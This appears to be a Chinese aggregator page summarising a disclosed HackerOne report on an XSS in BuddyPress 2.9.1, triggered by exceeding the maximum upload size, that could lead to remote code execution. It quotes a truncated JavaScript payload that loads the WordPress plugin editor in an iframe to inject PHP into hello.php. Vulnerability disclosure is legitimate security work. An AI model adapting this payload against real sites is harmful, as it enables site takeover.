Buddypress 2.9.1 - Exceeding the maximum upload size - XSS leading to potential RCE.
该报告还没有中文解读。
原文摘录
摘自原文（2116 字符中的一小部分）
Description This report is very similar to https://hackerone.com/bugs?subject=user&report_id=203515 so I will not go into too much details.
原文中的代码
var i = document.createElement("iframe");
i.src = "http://127.0.0.1:8090/wp-admin/plugin-editor.php?file=hello.php";
document.querySelector("body").appendChild(i);
setTimeout(function() {
var p = "<?php phpinfo();"
var d = document.querySelector("iframe").contentWindow.document;
var c = …默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 WordPress 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @skansing · 版权归作者与 WordPress 所有